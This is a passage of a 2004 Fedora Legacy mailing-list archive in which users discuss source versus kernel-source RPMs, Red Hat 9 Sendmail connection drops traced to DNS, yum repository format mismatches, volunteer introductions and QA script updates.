legacy with all up2date. I just installed kernel-2.4.20-37.9.legacy.src.rpm. I wondered why this was not called kernel-source-2.4.20-37.9.legacy.rpm like it's predecessors, but I installed it anyway. Now rpm does not know it was installed. After installing it I checked for its files. Just to show you one, "linux-usb-sparse.patch", here's what happens when I tried to check it out: First, rpm shows that the file is in the package. [root at linux RPMS]# rpm -qpl kernel-2.4.20-37.9.legacy.src.rpm | grep linux-usb-sparse.patch warning: kernel-2.4.20-37.9.legacy.src.rpm: V3 DSA signature: NOKEY, key ID 731002fa linux-usb-sparse.patch Then I change to the directory where the file was installed: [root at linux RPMS]# cd - /usr/src/redhat/SOURCES Now I ask rpm to tell me which package owns the file. It says none. [root at linux SOURCES]# rpm -qf linux-usb-sparse.patch file linux-usb-sparse.patch is not owned by any package Just for double check, I use the entire file path and get the same result. [root at linux SOURCES]# rpm -qf /usr/src/redhat/SOURCES/linux-usb-sparse.patch file /usr/src/redhat/SOURCES/linux-usb-sparse.patch is not owned by any package [root at linux SOURCES]# Was the package incorrectly named? Is that what is causing the problem? Why doesn't rpm know what package the file belongs to? Can anyone shed any light on this? rpm also reports that the package is not installed by any variation on its name. How can I un-install the package if rpm does not know it was installed? I know that Redhat 9 is "old", but I didn't expect rpm to start developing Alzheimers. :-) -- Ralph E. Kenyon, Jr. http://www.xenodochy.org/ralph.html 191 White Oaks Road Williamstown, MA 01267-2259 Phone: 413-458-3597 Home pages: http://www.xenodochy.org http://www.ballroomdances.org ------------------------------------------------------- FIGHT SPAM http://www.xenodochy.org/diogenes/antispam.html (If you are thinking about collecting my email address, read the above page first!) -------------------------------------------------------- Keep our semantic environments and cyberspace clean. Always report errors discovered while surfing the web. ------------------------------------------------------ My favorite saying (from general semantics): It's not that seeing is believing, believing is seeing, and we're much better at believing than we are at seeing. http://www.xenodochy.org/ex/quotes/santayana.html From dom at earth.li Thu Dec 9 11:57:49 2004 From: dom at earth.li (Dominic Hargreaves) Date: Thu, 9 Dec 2004 11:57:49 +0000 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: References: Message-ID: <20041209115749.GM1044@tirian.magd.ox.ac.uk> On Thu, Dec 09, 2004 at 02:48:16AM -0500, Ralph E. Kenyon, Jr. wrote: > I just installed kernel-2.4.20-37.9.legacy.src.rpm. > > I wondered why this was not called kernel-source-2.4.20-37.9.legacy.rpm > like it's predecessors, but I installed it anyway. > Now rpm does not know it was installed. [snip output] > Was the package incorrectly named? Is that what is causing the problem? > Why doesn't rpm know what package the file belongs to? You have installed a source RPM, which, contrary to your expectation is not the same as the kernel-source RPM which is effectively a binary RPM (in that binary RPMs are registered in the RPM database). Source RPMs are not registered in the rpm database; they consist of original source files, patches and spec files required to rebuild RPMs. However, the kernel-source RPM which is available as usual at http://download.fedoralegacy.org/redhat/9/updates/i386/kernel-source-2.4.20-37.9.legacy.i386.rpm can be installed to allow building of extra kernel modules against that kernel version. I hope that clarifies things. The kernel is a special case - the kernel-source package would perhaps be better named the kernel-dev package, in the same way that many library packages have -dev equivalents with header files. Cheers, Dominic. From mattdm at mattdm.org Thu Dec 9 14:53:44 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 9 Dec 2004 09:53:44 -0500 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: <20041209115749.GM1044@tirian.magd.ox.ac.uk> References: <20041209115749.GM1044@tirian.magd.ox.ac.uk> Message-ID: <20041209145344.GA3554@jadzia.bu.edu> On Thu, Dec 09, 2004 at 11:57:49AM +0000, Dominic Hargreaves wrote: > I hope that clarifies things. The kernel is a special case - the > kernel-source package would perhaps be better named the kernel-dev > package, in the same way that many library packages have -dev > equivalents with header files. And in fact, the kernel-source package is gone in FC3. The headers and so on are installed with every binary kernel package. I heard someone saying that there were plans to split that further into kernel-devel, but that hasn't shown up in the devel tree. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From diogenes at xenodochy.org Thu Dec 9 16:14:14 2004 From: diogenes at xenodochy.org (Ralph E. Kenyon, Jr.) Date: Thu, 09 Dec 2004 11:14:14 -0500 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: <20041209145344.GA3554@jadzia.bu.edu> References: <20041209115749.GM1044@tirian.magd.ox.ac.uk> <20041209145344.GA3554@jadzia.bu.edu> Message-ID: On Thu, 9 Dec 2004 09:53:44 -0500, Matthew Miller wrote: > On Thu, Dec 09, 2004 at 11:57:49AM +0000, Dominic Hargreaves wrote: >> I hope that clarifies things. The kernel is a special case - the >> kernel-source package would perhaps be better named the kernel-dev >> package, in the same way that many library packages have -dev >> equivalents with header files. > > And in fact, the kernel-source package is gone in FC3. The headers and > so on > are installed with every binary kernel package. I heard someone saying > that > there were plans to split that further into kernel-devel, but that hasn't > shown up in the devel tree. > Thanks for responding! I'm still a little confused. There's kernel-doc, kernel-source, and kernel*src I still very much a beginner. I bought a pre-loaded redhat linux system from Tiger Direct in 2000, and it mostly sat unattended for over three years. After I was laid off, I obtained and did a clean default install of redhat 9 using the pre-installed 6.2 default partitions. I've managed to keep it up2date as I learn about it. I think I understand that kernel*src if for those who want to make changes and compile their own custom kernel. (Scary! [to me]) I think I never had kernel-source installed, or I uninstalled it, because up2date has not replaced it with the legacy current version. I'm running my shrike-legacy system as a lan server for web development. Is kernel-source not essential to linux? Thanks, -- Ralph E. Kenyon, Jr. http://www.xenodochy.org/ralph.html 191 White Oaks Road Williamstown, MA 01267-2259 Phone: 413-458-3597 Home pages: http://www.xenodochy.org http://www.ballroomdances.org ------------------------------------------------------- FIGHT SPAM http://www.xenodochy.org/diogenes/antispam.html (If you are thinking about collecting my email address, read the above page first!) -------------------------------------------------------- Keep our semantic environments and cyberspace clean. Always report errors discovered while surfing the web. ------------------------------------------------------ My favorite saying (from general semantics): It's not that seeing is believing, believing is seeing, and we're much better at believing than we are at seeing. http://www.xenodochy.org/ex/quotes/santayana.html From dom at earth.li Thu Dec 9 16:21:42 2004 From: dom at earth.li (Dominic Hargreaves) Date: Thu, 9 Dec 2004 16:21:42 +0000 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: References: <20041209115749.GM1044@tirian.magd.ox.ac.uk> <20041209145344.GA3554@jadzia.bu.edu> Message-ID: <20041209162142.GN1044@tirian.magd.ox.ac.uk> On Thu, Dec 09, 2004 at 11:14:14AM -0500, Ralph E. Kenyon, Jr. wrote: > I think I understand that kernel*src if for those who want to make changes > and compile their own custom kernel. (Scary! [to me]) Correct. > Is kernel-source not essential to linux? No. It is only needed if you want to compile third-party kernel modules (for example, closed-source device drivers) that will work with the distro kernel. Dominic. From bdm at fenrir.org.uk Thu Dec 9 16:22:24 2004 From: bdm at fenrir.org.uk (Brian Morrison) Date: Thu, 9 Dec 2004 16:22:24 +0000 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: References: <20041209115749.GM1044@tirian.magd.ox.ac.uk> <20041209145344.GA3554@jadzia.bu.edu> Message-ID: <20041209162224.22029214@ickx.fenrir.org.uk> On Thu, 09 Dec 2004 11:14:14 -0500 in opsiq0p0pykuru7p at vgernet.net "Ralph E. Kenyon, Jr." wrote: > Thanks for responding! > I'm still a little confused. > There's kernel-doc, kernel-source, and kernel*src Think of it this way, the kernel src.rpm contains the sources to *build* the kernel, kernel-doc and kernel-source rpms but does not install the kernel source it *itself* contains in the normal /usr/src/linux-x.y.z directory structure. It's source is unpacked into /usr/src/redhat/SOURCES and then untar'd into /usr/src/redhat/BUILD/kernel-x.y.z to be used for creating the rpms that are then installed into the rpm database. Clearer? -- Brian Morrison bdm at fenrir dot org dot uk GnuPG key ID DE32E5C5 - http://wwwkeys.uk.pgp.net/pgpnet/wwwkeys.html From michal at harddata.com Thu Dec 9 17:13:59 2004 From: michal at harddata.com (Michal Jaegermann) Date: Thu, 9 Dec 2004 10:13:59 -0700 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: <20041209162224.22029214@ickx.fenrir.org.uk>; from bdm@fenrir.org.uk on Thu, Dec 09, 2004 at 04:22:24PM +0000 References: <20041209115749.GM1044@tirian.magd.ox.ac.uk> <20041209145344.GA3554@jadzia.bu.edu> <20041209162224.22029214@ickx.fenrir.org.uk> Message-ID: <20041209101359.B20878@mail.harddata.com> On Thu, Dec 09, 2004 at 04:22:24PM +0000, Brian Morrison wrote: > > It's source is unpacked into /usr/src/redhat/SOURCES .... Well, no, not really. This gets unpacked into $(rpm --eval %_topdir)/SOURCES where '/usr/src/redhat' happens to a be default value of %_topdir on Red Hat originated systems and happens to be defined in /usr/lib/rpm/macros. If you are doing any development work with rpm packages then you really should not be working as root but you should define your own %_topdir in ~/.rpmmacros and use a content of /usr/src/redhat only as a template. Likely one day you will be really glad that you did. :-) Michal From bdm at fenrir.org.uk Thu Dec 9 17:34:29 2004 From: bdm at fenrir.org.uk (Brian Morrison) Date: Thu, 9 Dec 2004 17:34:29 +0000 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: <20041209101359.B20878@mail.harddata.com> References: <20041209115749.GM1044@tirian.magd.ox.ac.uk> <20041209145344.GA3554@jadzia.bu.edu> <20041209162224.22029214@ickx.fenrir.org.uk> <20041209101359.B20878@mail.harddata.com> Message-ID: <20041209173429.2998319f@ickx.fenrir.org.uk> On Thu, 9 Dec 2004 10:13:59 -0700 in 20041209101359.B20878 at mail.harddata.com Michal Jaegermann wrote: > Well, no, not really. This gets unpacked into > > $(rpm --eval %_topdir)/SOURCES True, but I was trying to simplify it a bit! -- Brian Morrison bdm at fenrir dot org dot uk GnuPG key ID DE32E5C5 - http://wwwkeys.uk.pgp.net/pgpnet/wwwkeys.html From diogenes at xenodochy.org Thu Dec 9 19:08:14 2004 From: diogenes at xenodochy.org (Ralph E. Kenyon, Jr.) Date: Thu, 09 Dec 2004 14:08:14 -0500 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: <20041209173429.2998319f@ickx.fenrir.org.uk> References: <20041209115749.GM1044@tirian.magd.ox.ac.uk> <20041209145344.GA3554@jadzia.bu.edu> <20041209162224.22029214@ickx.fenrir.org.uk> <20041209101359.B20878@mail.harddata.com> <20041209173429.2998319f@ickx.fenrir.org.uk> Message-ID: On Thu, 9 Dec 2004 17:34:29 +0000, Brian Morrison wrote: > On Thu, 9 Dec 2004 10:13:59 -0700 in > 20041209101359.B20878 at mail.harddata.com Michal Jaegermann > wrote: > >> Well, no, not really. This gets unpacked into >> >> $(rpm --eval %_topdir)/SOURCES > > True, but I was trying to simplify it a bit! > Sorry, it didn't help me for the big picture, although I do understand variables and parameters, but not these specific ones (yet). I understand the old macro assembler, and direct single or multiple pass compilers that work on a source file and create an object or exe file, but I haven't a clue how this old knowledge can be used to understand all this "make", "patch", and "diff" stuff. It's still a complete mystery to me. I need a kindergarten tour somewhere. :-) -- Ralph E. Kenyon, Jr. http://www.xenodochy.org/ralph.html 191 White Oaks Road Williamstown, MA 01267-2259 Phone: 413-458-3597 Home pages: http://www.xenodochy.org http://www.ballroomdances.org ------------------------------------------------------- FIGHT SPAM http://www.xenodochy.org/diogenes/antispam.html (If you are thinking about collecting my email address, read the above page first!) -------------------------------------------------------- Keep our semantic environments and cyberspace clean. Always report errors discovered while surfing the web. ------------------------------------------------------ My favorite saying (from general semantics): It's not that seeing is believing, believing is seeing, and we're much better at believing than we are at seeing. http://www.xenodochy.org/ex/quotes/santayana.html From bdm at fenrir.org.uk Thu Dec 9 19:14:19 2004 From: bdm at fenrir.org.uk (Brian Morrison) Date: Thu, 9 Dec 2004 19:14:19 +0000 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: References: <20041209115749.GM1044@tirian.magd.ox.ac.uk> <20041209145344.GA3554@jadzia.bu.edu> <20041209162224.22029214@ickx.fenrir.org.uk> <20041209101359.B20878@mail.harddata.com> <20041209173429.2998319f@ickx.fenrir.org.uk> Message-ID: <20041209191419.0269a960@ickx.fenrir.org.uk> On Thu, 09 Dec 2004 14:08:14 -0500 in opsiq8r0ockuru7p at vgernet.net "Ralph E. Kenyon, Jr." wrote: > I understand the old macro assembler, and direct single or multiple > pass compilers that work on a source file and create an object or > exe file, but I haven't a clue how this old knowledge can be used to > understand all this "make", "patch", and "diff" stuff. It's still a > complete mystery to me. I need a kindergarten tour somewhere. :-) > Patch and diff are just ways of creating differences for a given pair of source trees, and then applying them to the original tree somewhere else. Make and the Makefile structure is fairly simple if you have a read of the man page, it's the auto-tools that are somewhat harder to grasp. -- Brian Morrison bdm at fenrir dot org dot uk GnuPG key ID DE32E5C5 - http://wwwkeys.uk.pgp.net/pgpnet/wwwkeys.html From mattdm at mattdm.org Thu Dec 9 22:54:14 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Thu, 9 Dec 2004 17:54:14 -0500 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: <20041209191419.0269a960@ickx.fenrir.org.uk> References: <20041209115749.GM1044@tirian.magd.ox.ac.uk> <20041209145344.GA3554@jadzia.bu.edu> <20041209162224.22029214@ickx.fenrir.org.uk> <20041209101359.B20878@mail.harddata.com> <20041209173429.2998319f@ickx.fenrir.org.uk> <20041209191419.0269a960@ickx.fenrir.org.uk> Message-ID: <20041209225414.GA31999@jadzia.bu.edu> On Thu, Dec 09, 2004 at 07:14:19PM +0000, Brian Morrison wrote: > Make and the Makefile structure is fairly simple if you have a read of > the man page, it's the auto-tools that are somewhat harder to grasp. I think they try to avoid being grasped so people don't choke them to death. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From bdm at fenrir.org.uk Fri Dec 10 08:24:05 2004 From: bdm at fenrir.org.uk (Brian Morrison) Date: Fri, 10 Dec 2004 08:24:05 +0000 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem In-Reply-To: <20041209225414.GA31999@jadzia.bu.edu> References: <20041209115749.GM1044@tirian.magd.ox.ac.uk> <20041209145344.GA3554@jadzia.bu.edu> <20041209162224.22029214@ickx.fenrir.org.uk> <20041209101359.B20878@mail.harddata.com> <20041209173429.2998319f@ickx.fenrir.org.uk> <20041209191419.0269a960@ickx.fenrir.org.uk> <20041209225414.GA31999@jadzia.bu.edu> Message-ID: <20041210082405.52a61b2c@ickx.fenrir.org.uk> On Thu, 9 Dec 2004 17:54:14 -0500 in 20041209225414.GA31999 at jadzia.bu.edu Matthew Miller wrote: > On Thu, Dec 09, 2004 at 07:14:19PM +0000, Brian Morrison wrote: > > Make and the Makefile structure is fairly simple if you have a read > > of the man page, it's the auto-tools that are somewhat harder to > > grasp. > > I think they try to avoid being grasped so people don't choke them to > death. > Absolutely, why type a hundred incomprehensible expressions when a billion would be more confusing! :-} -- Brian Morrison bdm at fenrir dot org dot uk GnuPG key ID DE32E5C5 - http://wwwkeys.uk.pgp.net/pgpnet/wwwkeys.html From euckew at sierraelectronics.com Fri Dec 10 18:00:02 2004 From: euckew at sierraelectronics.com (Eucke Warren) Date: Fri, 10 Dec 2004 10:00:02 -0800 Subject: RH9 SMTP/POP3 problems Message-ID: <002201c4dee2$128f8fb0$3f01a8c0@Eucke> I am hoping someone will recognize some of the symptoms that I am experiencing and be able to suggest a direction for a cure. I have a couple of servers who's primary role is email. These are all RH9 updated via FL/apt-get with all current and available patches applied. I am also running Spamassassin/spamass milter/vexira. 99% of my users are using Outlook Express for their clients. Frequently, when the users try to send email, they get a message that the Server Unexpectedly Terminated the connection and the message does not get sent. After some time passes....the message will eventually be sent. I have poured over the logs and cannot seem to find anything that would suggest a pattern. I have checked TOP and FREE to see if maybe the server is overloaded and that has not been the case. I have checked the firewall and tightened up a thing here and there but nothing that would seem to be related....though I did see one of those /220/220/220/220 gethostbyname entries. I am not running anything that should be vulnerable to that exploit though. Any suggestions? Anything else I can check? I am beginning to suspect that the problem may be in a module that was updated recently but am not sure. Thanks guys! -- Eucke From info at hostinthebox.net Fri Dec 10 22:51:24 2004 From: info at hostinthebox.net (Dan Trainor - hostinthebox.net) Date: Fri, 10 Dec 2004 15:51:24 -0700 Subject: RH9 SMTP/POP3 problems In-Reply-To: <002201c4dee2$128f8fb0$3f01a8c0@Eucke> References: <002201c4dee2$128f8fb0$3f01a8c0@Eucke> Message-ID: <41BA286C.9030908@hostinthebox.net> I think that this is the wrong list for troubleshooting this kind of problem... However, I know how much of a pain in the ass that this can be. ANy chance that DNS is flakey? Are you running round-robin DNS? This can happen by "accident" sometime, if two entrys are made for the same hostname. Although if it was a DNS problem, I would suspect that LOTS of people would have this problem (About 50% of people would have a problem at any given time, if there's a 1:2 round-robin setup, and so on). How about telling us how often this happens? Does it happen with specific machines more than others? Anything else? Thanks -dant Eucke Warren wrote: > I am hoping someone will recognize some of the symptoms that I am > experiencing and be able to suggest a direction for a cure. I have a couple > of servers who's primary role is email. These are all RH9 updated via > FL/apt-get with all current and available patches applied. I am also > running Spamassassin/spamass milter/vexira. 99% of my users are using > Outlook Express for their clients. Frequently, when the users try to send > email, they get a message that the Server Unexpectedly Terminated the > connection and the message does not get sent. After some time passes....the > message will eventually be sent. I have poured over the logs and cannot > seem to find anything that would suggest a pattern. I have checked TOP and > FREE to see if maybe the server is overloaded and that has not been the > case. I have checked the firewall and tightened up a thing here and there > but nothing that would seem to be related....though I did see one of those > /220/220/220/220 gethostbyname entries. I am not running anything that > should be vulnerable to that exploit though. Any suggestions? Anything > else I can check? I am beginning to suspect that the problem may be in a > module that was updated recently but am not sure. > > Thanks guys! > > From euckew at sierraelectronics.com Fri Dec 10 23:04:05 2004 From: euckew at sierraelectronics.com (Eucke Warren) Date: Fri, 10 Dec 2004 15:04:05 -0800 Subject: RH9 SMTP/POP3 problems In-Reply-To: <41BA286C.9030908@hostinthebox.net> References: <002201c4dee2$128f8fb0$3f01a8c0@Eucke> <41BA286C.9030908@hostinthebox.net> Message-ID: <41BA2B65.3090504@sierraelectronics.com> Dan Trainor - hostinthebox.net wrote: > I think that this is the wrong list for troubleshooting this kind of > problem... > > However, I know how much of a pain in the ass that this can be. ANy > chance that DNS is flakey? Are you running round-robin DNS? This can > happen by "accident" sometime, if two entrys are made for the same > hostname. Although if it was a DNS problem, I would suspect that LOTS > of people would have this problem (About 50% of people would have a > problem at any given time, if there's a 1:2 round-robin setup, and so > on). How about telling us how often this happens? Does it happen with > specific machines more than others? Anything else? > > Thanks > -dant > I was torn as to which would more readily apply between this and the main redhat-list. The Main one seems to be more current distro's..perhaps I made the wrong choice? DNS is having issues presently. I am working on a replacement for the old existing DNS servers. I suspect that I could test this by entering an IP instead of the name of the server for SMTP and see if that fixes the problem. So, you have seen flakey DNS exhibit this type of problem? Eucke From info at hostinthebox.net Fri Dec 10 23:02:52 2004 From: info at hostinthebox.net (Dan Trainor - hostinthebox.net) Date: Fri, 10 Dec 2004 16:02:52 -0700 Subject: RH9 SMTP/POP3 problems In-Reply-To: <41BA2B65.3090504@sierraelectronics.com> References: <002201c4dee2$128f8fb0$3f01a8c0@Eucke> <41BA286C.9030908@hostinthebox.net> <41BA2B65.3090504@sierraelectronics.com> Message-ID: <41BA2B1C.5040705@hostinthebox.net> > > > Dan Trainor - hostinthebox.net wrote: > >> I think that this is the wrong list for troubleshooting this kind of >> problem... >> >> However, I know how much of a pain in the ass that this can be. ANy >> chance that DNS is flakey? Are you running round-robin DNS? This can >> happen by "accident" sometime, if two entrys are made for the same >> hostname. Although if it was a DNS problem, I would suspect that LOTS >> of people would have this problem (About 50% of people would have a >> problem at any given time, if there's a 1:2 round-robin setup, and so >> on). How about telling us how often this happens? Does it happen >> with specific machines more than others? Anything else? >> >> Thanks >> -dant >> > > I was torn as to which would more readily apply between this and the > main redhat-list. The Main one seems to be more current > distro's..perhaps I made the wrong choice? > > DNS is having issues presently. I am working on a replacement for the > old existing DNS servers. I suspect that I could test this by entering > an IP instead of the name of the server for SMTP and see if that fixes > the problem. > > So, you have seen flakey DNS exhibit this type of problem? > > Eucke > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list > Eucke - Yeah, I've seen that happen before. Try doing just that - use the IP as the mail server for a while, see how that works. Which MTA are you using? Thanks -dant From euckew at sierraelectronics.com Fri Dec 10 23:13:46 2004 From: euckew at sierraelectronics.com (Eucke Warren) Date: Fri, 10 Dec 2004 15:13:46 -0800 Subject: RH9 SMTP/POP3 problems In-Reply-To: <41BA2B1C.5040705@hostinthebox.net> References: <002201c4dee2$128f8fb0$3f01a8c0@Eucke> <41BA286C.9030908@hostinthebox.net> <41BA2B65.3090504@sierraelectronics.com> <41BA2B1C.5040705@hostinthebox.net> Message-ID: <41BA2DAA.6060805@sierraelectronics.com> Dan Trainor - hostinthebox.net wrote: > Yeah, I've seen that happen before. Try doing just that - use the IP as > the mail server for a while, see how that works. > > Which MTA are you using? > > Thanks > -dant I am using Sendmail Dan, thank you very much. I will chase from the DNS perspective. -Eucke From info at hostinthebox.net Fri Dec 10 23:13:37 2004 From: info at hostinthebox.net (Dan Trainor - hostinthebox.net) Date: Fri, 10 Dec 2004 16:13:37 -0700 Subject: Semi-OT: Re: RH9 SMTP/POP3 problems In-Reply-To: <41BA2DAA.6060805@sierraelectronics.com> References: <002201c4dee2$128f8fb0$3f01a8c0@Eucke> <41BA286C.9030908@hostinthebox.net> <41BA2B65.3090504@sierraelectronics.com> <41BA2B1C.5040705@hostinthebox.net> <41BA2DAA.6060805@sierraelectronics.com> Message-ID: <41BA2DA1.1080703@hostinthebox.net> > > > Dan Trainor - hostinthebox.net wrote: > >> Yeah, I've seen that happen before. Try doing just that - use the IP >> as the mail server for a while, see how that works. >> >> Which MTA are you using? >> >> Thanks >> -dant > > > I am using Sendmail > > Dan, thank you very much. I will chase from the DNS perspective. > > -Eucke > > I've just spent the last two weeks tweaking out Postfix to run virtual mailboxen with a mysql backend, and it's working out fine. I'm happy to see that there's at least a legacy Postfix involvement. I'm actually thinking of making some packages for the project to correct some things that I see as, not really mistakes, but undocumented features. I just feel guilty for subscribing to this list withou contributing anything yet ;) Thanks -dant From joseph at ndimedia.com Sat Dec 11 05:28:37 2004 From: joseph at ndimedia.com (S.Joseph) Date: Sat, 11 Dec 2004 00:28:37 -0500 Subject: RH9 SMTP/POP3 problems References: <002201c4dee2$128f8fb0$3f01a8c0@Eucke> Message-ID: <015101c4df42$44442a10$0302a8c0@LocalHost> just curious but what is your MTU set to? ----- Original Message ----- From: "Eucke Warren" To: "Fedora Legacy Project" Sent: Friday, December 10, 2004 1:00 PM Subject: RH9 SMTP/POP3 problems >I am hoping someone will recognize some of the symptoms that I am > experiencing and be able to suggest a direction for a cure. I have a > couple > of servers who's primary role is email. These are all RH9 updated via > FL/apt-get with all current and available patches applied. I am also > running Spamassassin/spamass milter/vexira. 99% of my users are using > Outlook Express for their clients. Frequently, when the users try to send > email, they get a message that the Server Unexpectedly Terminated the > connection and the message does not get sent. After some time > passes....the > message will eventually be sent. I have poured over the logs and cannot > seem to find anything that would suggest a pattern. I have checked TOP > and > FREE to see if maybe the server is overloaded and that has not been the > case. I have checked the firewall and tightened up a thing here and there > but nothing that would seem to be related....though I did see one of those > /220/220/220/220 gethostbyname entries. I am not running anything that > should be vulnerable to that exploit though. Any suggestions? Anything > else I can check? I am beginning to suspect that the problem may be in a > module that was updated recently but am not sure. > > Thanks guys! > > > -- > Eucke > > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list > From euckew at sierraelectronics.com Sat Dec 11 06:48:21 2004 From: euckew at sierraelectronics.com (Eucke) Date: Fri, 10 Dec 2004 22:48:21 -0800 Subject: RH9 SMTP/POP3 problems References: <002201c4dee2$128f8fb0$3f01a8c0@Eucke> <015101c4df42$44442a10$0302a8c0@LocalHost> Message-ID: <000d01c4df4d$6804fe10$1101a8c0@EuckeLap> ----- Original Message ----- From: "S.Joseph" To: "Discussion of the Fedora Legacy Project" Sent: Friday, December 10, 2004 9:28 PM Subject: Re: RH9 SMTP/POP3 problems > just curious but what is your MTU set to? > The default, 1500. -Eucke From pekkas at netcore.fi Sun Dec 12 08:05:19 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Sun, 12 Dec 2004 10:05:19 +0200 (EET) Subject: Round-up, 2004-11-28 In-Reply-To: <1102125756.9739.7.camel@mdlinux> References: <20041128181125.GA3941@home.thedom.org> <1102125756.9739.7.camel@mdlinux> Message-ID: On Fri, 3 Dec 2004, Marc Deslauriers wrote: > On Mon, 2004-11-29 at 09:02 +0200, Pekka Savola wrote: >> This has been superceded. There's a new bug out there allowing local >> code execution through SSI parsing, and I guess this update should >> include that as well... > > Are you talking about this one?: > http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0940 > > If so, it's already included. If not, where can I get more info about > the one you're talking about? Yes, that was what I was referring to. Sorry for missing it. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From fedora-legacy-list at chasmcity.com Sun Dec 12 14:25:42 2004 From: fedora-legacy-list at chasmcity.com (Kenny MacLeod) Date: Sun, 12 Dec 2004 14:25:42 +0000 Subject: Cannot locate FC1 repomd.xml Message-ID: <41BC54E6.2010102@chasmcity.com> Folks, For a while now, my FC1 system has been throwing the following error on check4updates and yum update: http://download.fedoralegacy.org/fedora/1/updates/i386/repodata/repomd.xml: [Errno 4] IOError: HTTP Error 404: Not Found This, I assume, is an error in yum.conf. Which line should I have instead of this: [fedoralegacyupdates] name=Fedora Core $releasever - $basearch - Released Updates by FedoraLegacy baseurl=http://download.fedoralegacy.org/fedora/$releasever/updates/$basearch Thanks for your help, Kenny From sheltren at cs.ucsb.edu Sun Dec 12 16:19:46 2004 From: sheltren at cs.ucsb.edu (Jeff Sheltren) Date: Sun, 12 Dec 2004 08:19:46 -0800 Subject: Cannot locate FC1 repomd.xml In-Reply-To: <41BC54E6.2010102@chasmcity.com> Message-ID: Which version of yum are you using? It looks like you're using a newer one than is compatible with the FC1 repository. The yum which came with FC1/FC2 does not support the repodata format, but instead uses the 'headers' directory. I think you want this one: http://linux.duke.edu/projects/yum/download/2.0/yum-2.0.7-1.noarch.rpm -Jeff On 12/12/04 6:25 AM, "Kenny MacLeod" wrote: > Folks, > > For a while now, my FC1 system has been throwing the following error on > check4updates and yum update: > > http://download.fedoralegacy.org/fedora/1/updates/i386/repodata/repomd.xml: > [Errno 4] IOError: HTTP Error 404: Not Found > > This, I assume, is an error in yum.conf. Which line should I have > instead of this: > > [fedoralegacyupdates] > name=Fedora Core $releasever - $basearch - Released Updates by FedoraLegacy > baseurl=http://download.fedoralegacy.org/fedora/$releasever/updates/$basearch > > > Thanks for your help, > > Kenny > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list From pekkas at netcore.fi Mon Dec 13 19:15:45 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Mon, 13 Dec 2004 21:15:45 +0200 (EET) Subject: Self-Introduction: Pekka Savola Message-ID: Hello folks, I thought I'd not bother with the introduction, but I guess it's a must. 1. Full Legal name: Pekka Savola 2. Location: Espoo, Finland 3. Profession or Student status: Network Specialist 4. Company or School: CSC/FUNET 5. Goals: - Interested in RHL73 and RHL9. - I could do some QA. - I can try to help streamline the "how to participate" guidelines so that it should be easier for newcomers to take part. - I'm not responsible of Linux administration in my day job anymore, so I don't have much time to do this. 6. Historical qualifications: - Been using Red Hat Linux since 1996 or so. - I've made 200+ bug reports in Red Hat's bugzilla. - Listed as IPv6 networking maintainer in Linux kernel. - A major integrator of IPv6 software into in RHL. - Maintainer of 'radvd'. 7. GPG key. pub 1024D/3C522FB4 2000-09-07 Pekka Savola Key fingerprint = 65E7 5678 C9A4 FF88 9EA3 EC63 1876 D393 3C52 2FB4 sub 1024g/06E94FC1 2000-09-07 From pekkas at netcore.fi Mon Dec 13 19:25:43 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Mon, 13 Dec 2004 21:25:43 +0200 (EET) Subject: DB errors and misc updates Message-ID: Hi, During the weekend and now, there seem to have been a lot of on and off errors connecting to the DB, like: http://www.fedoralegacy.org/wiki/index.php/QaTesting === lib/WikiDB/backend/PearDB.php:32: Fatal[256]: Can't connect to database: wikidb_backend_mysql: fatal database error DB Error: unknown error ( [nativecode=Commands out of sync; You can't run this command now] ** mysql://legwik:XXXXXXXX at unix(/var/lib/mysql/mysql.sock)/legacywiki) === Btw, to improve readability, I'd suggest the text under each task at http://www.fedoralegacy.org/participate/ is indented (Vuln tracker, Test RPM packager, etc.) Btw.2., could someone finally put the script QA script, from http://www.redhat.com/archives/fedora-legacy-list/2004-October/msg00014.html, at the QA website ? -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From pekkas at netcore.fi Tue Dec 14 19:56:29 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Tue, 14 Dec 2004 21:56:29 +0200 (EET) Subject: update of rpm-build-compare.sh Message-ID: Hi, Attached is updated version of rpm-build-compare.sh. Two IMHO important improvements: 1) compares sha1sum's of files. Especially useful to see if the tarballs or other binaries inside the SRPMs have changed. 2) unpacks *gz or *bz2 tarballs it can find, and compares them in the diff too -- so, if one upgrades to an upstream package instead of just having a patch, this gets shown in the build-compare as well. Have fun. Are there other common comparisons which should be integrated here ? -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------- next part -------------- A non-text attachment was scrubbed... Name: rpm-build-compare.sh Type: application/x-sh Size: 5125 bytes Desc: URL: From parklee_sel at yahoo.com Wed Dec 15 03:59:52 2004 From: parklee_sel at yahoo.com (Park Lee) Date: Tue, 14 